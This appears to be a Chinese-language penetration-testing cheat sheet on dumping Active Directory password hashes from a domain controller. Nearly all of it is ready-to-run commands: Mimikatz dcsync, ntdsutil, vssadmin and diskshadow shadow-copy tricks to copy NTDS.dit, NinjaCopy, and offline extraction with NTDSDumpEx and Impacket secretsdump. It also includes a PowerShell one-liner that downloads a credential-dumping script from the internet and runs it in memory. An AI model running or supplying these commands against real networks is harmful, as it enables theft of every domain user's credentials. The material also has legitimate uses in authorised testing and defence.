域滲透之導出域Hash
前言
網上採集了一些域內導出NTDS.dit文件的方式
Hash 值存儲在域控制器中(C:\Windows\NTDS\NTDS.DIT)
Mimikatz
Mimikatz有一個功能(dcsync),它利用目錄複製服務(DRS)從 NTDS.DIT 文件中檢索密碼 Hash 值。
Mimikatz "lsadump::dcsync /domain:test.com /all /csv" exit > hash.txt //所有用戶
Mimikatz "lsadump::dcsync /domain:test.com /user:username" exit > hash.txt //# 指定用戶
Ntdsutil
Ntdsutil 域控制器默認安裝,使管理員能訪問和管理 Windows Active Directory 數據庫。滲透測試中可以用它來拍攝 ntds.dit 文件的快照
# 創建快照
ntdsutil snapshot "activate instance ntds" create quit quit
GUID 爲 {aa488f5b-40c7-4044-b24f-16fd041a6de2}
# 掛載快照
ntdsutil snapshot "mount GUID" quit quit
# 複製 ntds.dit
copy C:\$SNAP_201908200435_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
# 卸載快照
ntdsutil snapshot "unmount GUID" quit quit
# 刪除快照
ntdsutil snapshot "delete GUID" quit quit
# 查詢快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
Vssadmin
域控制器默認安裝
# 查詢當前系統的快照
vssadmin list shadows
# 創建快照
vssadmin create shadow /for=c: /autoretry=10
"Shadow Copy Volume Name" 爲 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
"Shadow Copy ID" 爲 {aa488f5b-40c7-4044-b24f-16fd041a6de2}
# 複製 ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit
# 刪除快照
vssadmin delete shadows /for=c: /quiet
Diskshadow
DiskShadow 是由微軟官方簽名的,Windows Server 2008、2012、2016 都包含了 DiskShadow,所在目錄C:\windows\system32\diskshadow.exe。包含交互式命令和腳本模式。
# 查看存放 `ntds.dit` 的邏輯驅動器(一般爲 C 盤)
# 找出系統沒有使用的邏輯驅動器號
wmic logicaldisk
# 調用腳本
C:\windows\system32\diskshadow.exe /s C:\shadow.txt
shadow.txt 內容
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "C:\windows\system32\cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds.dit
delete shadows volume %someAlias%
reset
Powershell
項目地址:https://github.com/EmpireProject/Empire
# 遠程加載 Invoke-DCSync.ps1
# 遠程加載 Invoke-DCSync.ps1
powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-DCSync.ps1')";Invoke-DCSync -PWDumpFormat > hash.txt
通過NinjaCopy獲得域控服務器NTDS.dit文件
ninjacopy下載地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
Import-Module -name .\Invoke-NinjaCopy.ps1 Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\ntds.dit" Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"
ntds.dit 提取 Hash
NTDSDumpEx
# 離線模式:先導出註冊表
reg save hklm\system system.hiv
NTDSDumpEx.exe -d ntds.dit -s system.hiv -o hash.txt
# 在線模式:無需導出註冊表
NTDSDumpEx.exe -d ntds.dit -r -o hash.txt
Impacket
項目地址:https://github.com/SecureAuthCorp/impacket
因爲 Kali 的 python 環境安裝得比較全,所以使用 Kali 來解 Hash
python secretsdump.py -ntds /home/workspace/hash/ntds.dit -system /home/workspace/hash/sys.hiv LOCAL > /home/workspace/hash/hash.txt
使用 Ntdsutil、Vssadmin 等卷影拷貝工具時,需要先開啓 Volume Shadow Copy Service 服務